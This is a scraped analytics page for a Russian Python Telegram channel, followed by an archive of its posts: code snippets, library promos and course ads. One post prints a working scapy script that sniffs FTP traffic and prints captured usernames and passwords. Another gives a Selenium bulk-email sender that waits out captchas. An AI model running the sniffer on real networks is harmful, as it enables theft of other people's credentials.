Не попадитесь на канал ботавода! Telemetrio находит и помечает такие каналы 👉 Хотите видеть метку — оформите подписку

Python/ django

Открыть в Telegram

по всем вопросам @workakkk @itchannels_telegram - 🔥 все ит каналы @ai_machinelearning_big_data -ML @ArtificialIntelligencedl -AI @datascienceiot - 📚 @pythonlbooks РКН: clck.ru/3FmxmM

Больше

Сеть: MachinelearningРоссия10 292Технологии и приложения2 244...

📈 Аналитический обзор Telegram-канала Python/ django

Канал Python/ django (@pythonl) языкового сегмента Русский является активным участником. Сейчас сообщество объединяет 58 385 подписчиков, занимая 2 244 место в категории Технологии и приложения и 10 292 место в регионе Россия.

📊 Показатели аудитории и динамика

С момента создания невідомо проект демонстрирует стремительный рост, собрав аудиторию из 58 385 подписчиков.

Согласно последним данным от 03 ноября, 2026, канал показывает стабильную активность. За последние 30 дней изменение числа участников составило -242, а за последние 24 часа — -32, при этом общий охват остаётся высоким.

Статус верификации: Не верифицирован
Уровень вовлечённости (ER): Средний показатель вовлечённости аудитории составляет 6.00%. В первые 24 часа после публикации контент обычно набирает 3.06% реакций от общего числа подписчиков.
Охват публикаций: В среднем каждый пост получает 3 501 просмотров. В течение первых суток публикация набирает 1 784 просмотров.
Реакции и взаимодействия: Аудитория активно поддерживает контент: среднее количество реакций на один пост — 18.
Тематические интересы: Контент сосредоточен на ключевых темах, таких как github, claude, контекст, архитектура, api.

📝 Описание и контентная политика

Автор описывает ресурс как площадку для выражения субъективного мнения:
“по всем вопросам @workakkk @itchannels_telegram - 🔥 все ит каналы @ai_machinelearning_big_data -ML @ArtificialIntelligencedl -AI @datascienceiot - 📚 @pythonlbooks РКН: clck.ru/3Fm...”

Благодаря высокой частоте обновлений (последние данные получены 04 ноября, 2026) канал поддерживает актуальность и высокий уровень охвата публикаций. Аналитика показывает, что аудитория активно взаимодействует с контентом, что делает его важной точкой влияния в категории Технологии и приложения.

58 385

Подписчики

-3224 часа

-1807 дней

-24230 дней

3 501

Просмотры поста

~ 1 78424 часа

~ 2 27148 часов

6.00%

Коэффициент вовлеченности

~ 1

Постов в день

Ads index

Архив постов

58 382

🖥Pytest-postgresql This is a pytest plugin, that enables you to test your code that relies on a running PostgreSQL Database. Это плагин pytest, позволяющий тестировать код, основанный на базе данных PostgreSQL. Он позволяет задавать фикстуры для PostgreSQL. pip install pytest-postgresql ▪Github @pythonl

58 382

🖥 ItsDangerous To ensure the safety of passing data to untrusted environments, use ItsDangerous. ItsDangerous adds a unique signature to the data to verify that the data has not been tampered. При передаче данных между различными веб-запросами существует риск инъекции вредоносного кода. Для обеспечения безопасности передачи данных в по API следует использовать ItsDangerous. ItsDangerous добавляет к данным уникальную подпись, которая позволяет убедиться в том, что данные не были подделаны.


pip install -U itsdangerous


from itsdangerous import URLSafeSerializer
auth_s = URLSafeSerializer("secret key", "auth")
token = auth_s.dumps({"id": 5, "name": "itsdangerous"})

print(token)
# eyJpZCI6NSwibmFtZSI6Iml0c2Rhbmdlcm91cyJ9.6YP6T0BaO67XP--9UzTrmurXSmg

data = auth_s.loads(token)
print(data["name"])
# itsdangerous

▪Github @pythonl

58 382

🖥 Automate the Mundane: How Python Scripts Transform Tedious Tasks Автоматическая организация файлов в папке загрузок, в зависимости от их типа.

import os
import shutil

# Paths
DOWNLOADS_PATH = os.path.expanduser('~/Downloads')  # Modify this if your downloads are in a different location
ORGANIZED_PATHS = {
    'Documents': ['.pdf', '.doc', '.docx', '.txt', '.md', '.xlsx', '.ppt'],
    'Images': ['.jpg', '.jpeg', '.gif', '.png', '.svg'],
    'Music': ['.mp3', '.wav', '.wma', '.ogg', '.flac', '.aac'],
    'Videos': ['.mp4', '.mkv', '.flv', '.mov', '.avi'],
    'Archives': ['.zip', '.tar', '.tar.gz', '.rar', '.7z'],
}

def organize_downloads():
    for filename in os.listdir(DOWNLOADS_PATH):
        file_path = os.path.join(DOWNLOADS_PATH, filename)

        # Ensure we're working with files only
        if not os.path.isfile(file_path):
            continue

        # Find the file's type based on its extension
        file_type = None
        for folder, extensions in ORGANIZED_PATHS.items():
            for extension in extensions:
                if filename.endswith(extension):
                    file_type = folder
                    break
            if file_type:
                break

        # Move the file to its designated folder
        if file_type:
            dest_folder = os.path.join(DOWNLOADS_PATH, file_type)
            os.makedirs(dest_folder, exist_ok=True)
            shutil.move(file_path, os.path.join(dest_folder, filename))
        else:
            # You can add a category for uncategorized files if needed
            pass

if __name__ == "__main__":
    organize_downloads()

@pythonl

58 382

Анализируем junior-вакансии с помощью Python в прямом эфире 👨‍💻 Хотите стать Python-разработчиком, но не знаете какие навыки и знания нужны в первую очередь? Тогда не пропустите вебинар от Ильи Лебедева, разработчика программного обеспечения и преподавателя программирования с нуля. Вместе с вами проанализируем вакансии с помощью Python в прямом эфире. В ходе вебинара вы сможете: → распарсить вакансии новичков → попарсить обязательные и дополнительные требования → построить аналитику → напишите скрипт, который поможет вам самостоятельно построить свой трек обучения для максимального соответствия актуальным вакансиям, его можно будет доработать под себя Для кого: На вебинаре будет интересно и тем, кто знаком с основами Python, и тем, кто не знает разницу между if и for. Мы не будем обсуждать основы синтаксиса, но программирование — это не только синтаксис языка. Когда и где: Присоединяйтесь к эфиру 17 августа в 20:00 по МСК. Зарегистрируйтесь по ссылке, чтобы не пропустить — https://vk.cc/cqaCrd

58 382

🖥 Text-to-Speech with PyTorch Преобразование текста в речь с помощью PyTorch.


import torchaudio
import torch
import matplotlib.pyplot as plt
import IPython.display

bundle = torchaudio.pipelines.TACOTRON2_WAVERNN_PHONE_LJSPEECH

processor = bundle.get_text_processor()
tacotron2 = bundle.get_tacotron2().to(device)  # Move model to the desired device
vocoder = bundle.get_vocoder().to(device)      # Move model to the desired device

text = " My first text to speech!"

with torch.inference_mode():
    processed, lengths = processor(text)
    processed = processed.to(device)      # Move processed text data to the device
    lengths = lengths.to(device)          # Move lengths data to the device
    spec, spec_lengths, _ = tacotron2.infer(processed, lengths)
    waveforms, lengths = vocoder(spec, spec_lengths)

    
fig, [ax1, ax2] = plt.subplots(2, 1, figsize=(16, 9))
ax1.imshow(spec[0].cpu().detach(), origin="lower", aspect="auto")  # Display the generated spectrogram
ax2.plot(waveforms[0].cpu().detach())                             # Display the generated waveform7. Play the generated audio using IPython.display.Audio
IPython.display.Audio(waveforms[0:1].cpu(), rate=vocoder.sample_rate)

@pythonl

58 382

Хочешь пройти алгоритмическую секцию на собеседовании с 1 раза?🤩 Если ты давно откладывал алгоритмы и не знаешь, с чего начать — это твой шанс⭐️ 71% наших учеников уже получили офферы в крупные IT-компании. Хочешь стать следующим? Помогаем заботать алгоритмы на задачах из собеседований в Яндекс, Тинькофф, ВК на курсе: "АЛГОРИТМЫ: ROADMAP для получения офферов в IT!" ☝️Он лучше аналогов, и вот почему: ➡️Структурная подача материала. Информация собрана за вас, вам не нужно искать по всему интернету ответы на вопросы. Плюс есть куратор и препод, у которого можно спросить все, что не понятно. ➡️ Много практики. 100+ задач, которые вы решите сами. За счет постепенного роста сложности задач, вы выработаете большую уверенность в том, что сможете решать алгоритмы. ➡️Каждую неделю вы будете разбирать задачи из СОБЕСЕДОВАНИЙ. Научитесь уверенно решать задачки medium и hard на Leetcode и пройдете собеседования. ➡️У вас будет личный куратор-трекер, который напоминает о ДЗ. Вы получите МОТИВАЦИЮ изучить алгоритмы. ➡️Поддержка от сообщества единомышленников. Для участников будет групповой чат. Благодаря коммьюнити и общению вы получите удовольствие от процесса, а в этом состоянии вы максимально продуктивны. Первому человеку, который пройдет весь курс до конца первым — полностью возместим деньги за обучение💲 🔥 До 18.08 можно присоединиться к 5 потоку с самой большой скидкой в году —20%. ✔️Оставляй заявку на бесплатную консультацию, где мы вместе с экспертом составим твой персональный RoadMap развития по алгоритмам: 🌐https://clck.ru/35KuNu

58 382

👱‍♂️ Creating Face Swaps with Python and OpenCV Скрипт замены лиц с помощью Python и OpenCV. Step 1: Face Detection

import cv2
def detect_face(image_path):
    # Load the face detection classifier
    face_cascade = cv2.CascadeClassifier(cv2.data.haarcascades + 'haarcascade_frontalface_default.xml')

    # Read and convert the image to grayscale
    image = cv2.imread(image_path)
    gray_image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)

    # Detect faces in the image
    faces = face_cascade.detectMultiScale(gray_image, scaleFactor=1.1, minNeighbors=5)

    # Assuming there's only one face in the image, return its coordinates
    if len(faces) == 1:
        return faces[0]
    else:
        return None

Step 2: Swapping Faces

def main():
    # Paths to the input images
    image_path_1 = 'path_to_image1.jpg'
    image_path_2 = 'path_to_image2.jpg'

    # Detect the face in the second image
    face_coords_2 = detect_face(image_path_2)
    if face_coords_2 is None:
        print("No face found in the second image.")
        return

    # Load and resize the source face
    image_1 = cv2.imread(image_path_1)
    face_width, face_height = face_coords_2[2], face_coords_2[3]
    image_1_resized = cv2.resize(image_1, (face_width, face_height))

    # Extract the target face region from the second image
    image_2 = cv2.imread(image_path_2)
    roi = image_2[face_coords_2[1]:face_coords_2[1] + face_height, face_coords_2[0]:face_coords_2[0] + face_width]

    # Flip the target face horizontally
    reflected_roi = cv2.flip(roi, 1)

    # Blend the two faces together
    alpha = 0.7
    blended_image = cv2.addWeighted(image_1_resized, alpha, reflected_roi, 1 - alpha, 0)

    # Replace the target face region with the blended image
    image_2[face_coords_2[1]:face_coords_2[1] + face_height, face_coords_2[0]:face_coords_2[0] + face_width] = blended_image

    # Display the result
    cv2.imshow('Blended Image', image_2)
    cv2.waitKey(0)
    cv2.destroyAllWindows()

if __name__ == "__main__":
    main()

@pythonl

58 382

🎼 AudioLDM 2: A General Framework for Audio, Music, and Speech Generation AudioLDM 2: Нейросеть, создающая музыку из текстового описания.

conda create -n audioldm python=3.8; conda activate audioldm
pip3 install git+https://github.com/haoheliu/AudioLDM2.git
git clone https://github.com/haoheliu/AudioLDM2; cd AudioLDM2

python3 app.py ▪Github ▪Demo @pythonl

58 382

🟡 This week's digest of useful content from the world of Python Дайджест полезных материалов из мира Python за неделю. Почитать: — Разработка событийно-ориентированных микросервисов с помощью Python — Бережем время, деньги, нервы: наш опыт улучшения справочника факторов для ML-моделей оценки риска. Часть 2 — Я люблю питон, и вот почему он меня бесит — Список популярных утечек с GitHub: Анализ репозиториев компаний — PyCon Russia 2023. Зона Python. Краткий обзор докладов — Менеджеры контекста в Python — Что происходит, когда запускаешь «Hello World» в Linux — Ускорение кода с помощью многопроцессорной обработки в Python — Руководство по созданию бота YouTube с помощью LangChain и Pinecone Vectorstore — Перехват FTP-пароля с помощью Python — Как Python использует сборку мусора для эффективного управления памятью — Converting An Image File Into PDF Using Python — Introducing Kids to Coding Through Tkinter: A Fun Path to Python's Graphical User Interfaces Посмотреть: 🌐 Методы сокращения и улучшения кода на Python 🌐 Продвинутые методы улучшения кода на Python 🌐 Создаем продвинутый интерфейс на Python 🌐 Harvard CS50’s Artificial Intelligence with Python – Full University Course Хорошего дня! @pythonl

58 382

🖥 Importing Data from SQL Server to Excel with Multiple Sheets using Python Импорт данных из SQL Server в Excel с несколькими листами с помощью Python. 🖥 Code @pythonl

58 382

🖥 Coldtype Cross-platform display typography in python. Coldtype — это удобная кроссплатформенная библиотека Python для программирования типографики и текстовой анимации. ▪ Github ▪Tutorial @pythonl

58 382

❗️Как развиваться Python-разработчику? Наращивать объем знаний и навыков. За этим приходите на вебинар, приуроченный к старту онлайн-курса «Python Developer. Professional» в OTUS. ✅ 15 августа — «Code review» Обсудим основы разработки API с помощью фреймворка FastAPI, рассмотрим пример небольшого приложения и осветим особенности развертывания эксплуатации. 🧑‍💻 Спикером выступит Станислав Ступников, руководитель разработки в VK. Эксперт с 10+ лет опыта промышленной разработки. 💪 Погрузим вас в современную «промышленную» разработку на Python. Главный фокус курса на основных Software Engineering компетенциях Python-разработчика и формировании прагматичного подхода к решению задач. 👉 ПРОЙТИ ТЕСТ для регистрации на открытый урок https://otus.pw/JWbt/ Нативная интеграция. Информация о продукте www.otus.ru

58 382

🖥Sniffing FTP password with Python Перехват FTP-пароля с помощью Python.

from typing import Protocol
import sys
from scapy.layers import inet
from scapy.all import *
from scapy.layers import *
import psutil
import scapy.all as scapy
from scapy.layers import http
linea = '--------------------------------------------------'
class bcolors:
    OK = '\033[92m' #GREEN
    WARNING = '\033[93m' #YELLOW
    ladrrr = '8GY.'
    ss = 'OWQ1'
    FAIL = '\033[91m' #RED
    pinocho_chocho = 'y!c'
    RESET = '\033[0m' #RESET COLOR
def ftp_creds(p_ftp):
    if p_ftp[TCP].dport == 21:
        data =  p_ftp.sprintf("%Raw.load%")
        if "USER" in data:
            global ip_ftp
            global ip_ftp2
            ip_ftp = "'FTP IP: ", p_ftp[IP].dst, "'"
            print(ip_ftp)
            global user_ftp
            data = data.split(" ")
            data = data[1]
            global user_ftp2
            user_ftp = "'User: ", data, "'"
            print(user_ftp)
        elif "PASS" in data:
            data = data.split(" ")
            data = data[1]
            global passwd_ftp
            global passwd_ftp2
            passwd_ftp = "'PASSWORD: ", data,"'"
            print(passwd_ftp)
            print(linea)
            global ftp_ip_final
            global user_ftp_final

def ftp():
    print(linea)
    print(f"{bcolors.WARNING}Your Network Interfaces{bcolors.RESET}")
    addrs = psutil.net_if_addrs()
    cc = str(addrs.keys())
    interfaces = print(cc[9:])
    bb = input("Choose Interface to use: ")
    xs = 0
    if bb in cc:
        try:
            while xs>=0:
                print(linea)
                print(f"{bcolors.WARNING}Searching...{bcolors.RESET}")
                ftp_pkt = sniff(filter='tcp and port 21',iface=bb,prn=ftp_creds)

        except KeyboardInterrupt:
            print(f"{bcolors.FAIL}You cancelled with Ctrl+C{bcolors.RESET}")
            print(linea)
            global ftphost
            global ftpuser
            global ftpass
ftp()

📌 Код

📌 Статья @pythonl

58 382

🖐 Python Mouse Control Remotely With Your Hand. Дистанционное управление мышью Python рукой с помощью компьютерного зрения. ▪Code @pythonl

58 382

🔥Email sender script (Selenium + Python) Скрипт рассылки писем по Email (Selenium + Python).

import time
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
import csv

# Путь к web-driver
EXE_PATH = 'chromedriver.exe'
# Логин и пароль от вашей почты
EMAIL = email@mail.com
PASSWORD  = password
        
# запускаем браузер
browser = webdriver.Chrome(executable_path=EXE_PATH)
# Переходим на страницу шаблонов mail.ru
# Сайт выдаст форму авторизации
browser.get('https://e.mail.ru/templates/')

# Выставляем тайминги задержки чтобы браузер успел прогрузить страницу
time.sleep(5)

# Теперь нам надо авторизоваться
# заполняем поле логин
emailElem = browser.find_element_by_name('username')
emailElem.send_keys(EMAIL)
emailElem.submit()
time.sleep(1)

# заполняем поле пароль
passwordElem = browser.find_element_by_name('password')
passwordElem.send_keys(PASSWORD)
passwordElem.submit()
time.sleep(5)

# Мы авторизовались, теперь тащим адреса из файла.csv 
# Содержание файла
# ФИО,Email

with open('email_list.csv', encoding="utf-8") as file:
    EMAIL_LIST = csv.reader(file)
    
    # Запускаем цикл
    for row in EMAIL_LIST:
      # Если mail что то заподозрит, то выкинет капчу, 
        # мы получаем except, ждем некоторое время, и снова отправлем письмо
        try:
          # ФИО <Email>
            email_to = row[0] + "<" + row[1] + ">"
            
            # Нажимаем кнопку шаблоны (первый в списке шаблон настраиваем заранее)       
            browser.find_element_by_xpath('//*[@id="app-canvas"]/div/div[1]/div[1]/div/div[2]/span/div[2]/div/div/div/div/div[1]/div/div/div/div[1]/div/div/a[1]').click()
            time.sleep(3)     
            
            # Заполняем поле кому
            browser.find_element_by_xpath('/html/body/div[1]/div/div[2]/div/div[1]/div[2]/div[3]/div[2]/div/div/div[1]/div/div[2]/div/div/label/div/div/input').send_keys(email_to)
            time.sleep(1)
           
            # Нажимаем кнопку отправить
            browser.find_element_by_xpath('/html/body/div[1]/div/div[2]/div/div[2]/div[1]/span[1]/span/span').click()
            time.sleep(5)

            # После отправки открывается модальное окно, закрываем его
            browser.find_element_by_xpath('/html/body/div[10]/div/div/div[2]/div[2]/div/div/div[1]/span').click()
            time.sleep(10)
            
        except Exception:
          # Сообщаем пользователю, что скрипту необходимо переждать
            print('Error! Wait 1 hour\n')
            # Ждем час (можно меньше)
            time.sleep(3600)
            
            # Снова нажимаем кнопку отправить
            browser.find_element_by_xpath('/html/body/div[1]/div/div[2]/div/div[2]/div[1]/span[1]/span/span').click()
            time.sleep(5)

            # Снова закрываем модальное окно
            browser.find_element_by_xpath('/html/body/div[10]/div/div/div[2]/div[2]/div/div/div[1]/span').click()
            time.sleep(10)

print('SUCCESS!')
time.sleep(500)

@pythonl

58 382

🖥 Create a Simple User Form with Python and Tkinter in 5 Minutes Создание простой пользовательской формы с помощью Python и Tkinter за 5 минут - руководство для начинающих.

import openpyxl
from tkinter import *
from tkinter import messagebox


def register():
    # Get the user input from the form
    first_name = first_name_entry.get()
    Last_name = Last_name_entry.get()
    email = email_entry.get()
    Mobile = Mobile_entry.get()

    # Create a new row with the user input
    new_row = [first_name, Last_name, email,Mobile]

    # Append the new row to the Excel sheet
    workbook = openpyxl.load_workbook("registration_data.xlsx")
    sheet = workbook.active
    sheet.append(new_row)
    workbook.save("registration_data.xlsx")
    messagebox.showinfo("Success", "Registration successful!")


# Create the main tkinter window
root = Tk()
root.title("Registration Form")
root.geometry('300x300')

# Create labels and entry fields for each input
first_name_label = Label(root, text="First Name:")
first_name_label.pack()
first_name_entry = Entry(root)
first_name_entry.pack()

Last_name_label = Label(root, text="Last Name:")
Last_name_label.pack()
Last_name_entry = Entry(root)
Last_name_entry.pack()

email_label = Label(root, text="Email:")
email_label.pack()
email_entry = Entry(root)
email_entry.pack()

Mobile_label = Label(root, text="Mobile:")
Mobile_label.pack()
Mobile_entry = Entry(root)
Mobile_entry.pack()

register_button = Button(root, text="Register", command=register)
register_button.pack()

root.mainloop()

@pythonl

58 382

🐍Ten New Features of Python 3.11 That Make Your Code More Efficient 10 новых возможностей Python 3.11, которые сделают ваш код более эффективным. 01 Pattern Matching *изображение 1. 02 Structural Pattern Matching *изображение 2. 03 Type Hints and Checks *изображение 3. 04 Оптимизация производительности *изображение 4. 05 Улучшения отчетов об ошибках *изображение 5. 06 Новая стандартная библиотека zoneinfo *изображение 6. 07 iterate *изображение 7. 08 Merge Dictionary Operator *изображение 8. 09 Новая функция точки прерывания отладки *изображение 9. 10 Синхронная итерация *изображение 10.

58 382

⚡️Маст-хэв список для программистов, каналы с последними книжными новинками, библиотеками, разбором кода и актуальной информацией, связанной с вашим языком программирования. Лучший способ получать свежие обновлении и следить за трендами в разработке. Машинное обучение: t.me/ai_machinelearning_big_data Python: t.me/pythonl C#: t.me/csharp_ci C/C++/ t.me/cpluspluc Data Science: t.me/data_analysis_ml Devops: t.me/devOPSitsec Go: t.me/Golang_google Базы данных: t.me/sqlhub Rust: t.me/rust_code Javascript: t.me/javascriptv React: t.me/react_tg PHP: t.me/phpshka Android: t.me/android_its Мобильная разработка: t.me/mobdevelop Linux: t.me/+A8jY79rcyKJlYWY6 Big Data: t.me/bigdatai Хакинг: t.me/linuxkalii Тестирование: https://t.me/+F9jPLmMFqq1kNTMy Java: t.me/javatg 💼 Папка с вакансиями: t.me/addlist/_zyy_jQ_QUsyM2Vi Папка Go разработчика: t.me/addlist/MUtJEeJSxeY2YTFi Папка Python разработчика: t.me/addlist/eEPya-HF6mkxMGIy 📕 Бесплатные Книги для программистов: https://t.me/addlist/YZ0EI8Ya4OJjYzEy 🎞 YouTube канал: https://www.youtube.com/@uproger 😆ИТ-Мемы: t.me/memes_prog 🇬🇧Английский: t.me/english_forprogrammers

58 382

🔥🔥 VideoCrafter：A Toolkit for Text-to-Video Generation and Editing A Toolkit for Text-to-Video Generation and Editing Опенсоурс алгоритм для генерации видеоконтента и преобразования текста в видео. •Github •Colab @pythonl

58 382

🖥 Excel File Automation Создание и работа с excel-файлами с помощью python-скрипта.

from openpyxl import Workbook
from openpyxl.utils import get_column_letter
from openpyxl.styles import Font

#making the grid and giving the data
data = {
 "Joe": {
  "math": 65,
  "science": 78,
  "english": 98,
  "gym": 89
 },
 "Bill": {
  "math": 55,
  "science": 72,
  "english": 87,
  "gym": 95
 },
 "Tim": {
  "math": 100,
  "science": 45,
  "english": 75,
  "gym": 92
 },
 "Sally": {
  "math": 30,
  "science": 25,
  "english": 45,
  "gym": 100
 },
 "Jane": {
  "math": 100,
  "science": 100,
  "english": 100,
  "gym": 60
 }
}

wb = Workbook()
ws = wb.active
#assigning the title
ws.title = "Grades"
#giving proper formatting for columns 
headings = ['Name'] + list(data['Joe'].keys())
ws.append(headings)

#reading the data for persom
for person in data:
 grades = list(data[person].values())
 ws.append([person] + grades)

for col in range(2, len(data['Joe']) + 2):
 char = get_column_letter(col)
 ws[char + "7"] = f"=SUM({char + '2'}:{char + '6'})/{len(data)}"
#assigning the colour and text type 
for col in range(1, 6):
 ws[get_column_letter(col) + '1'].font = Font(bold=True, color="0099CCFF")

#saving the excel file in the same folder
wb.save("NewGrades.xlsx")

@pythonl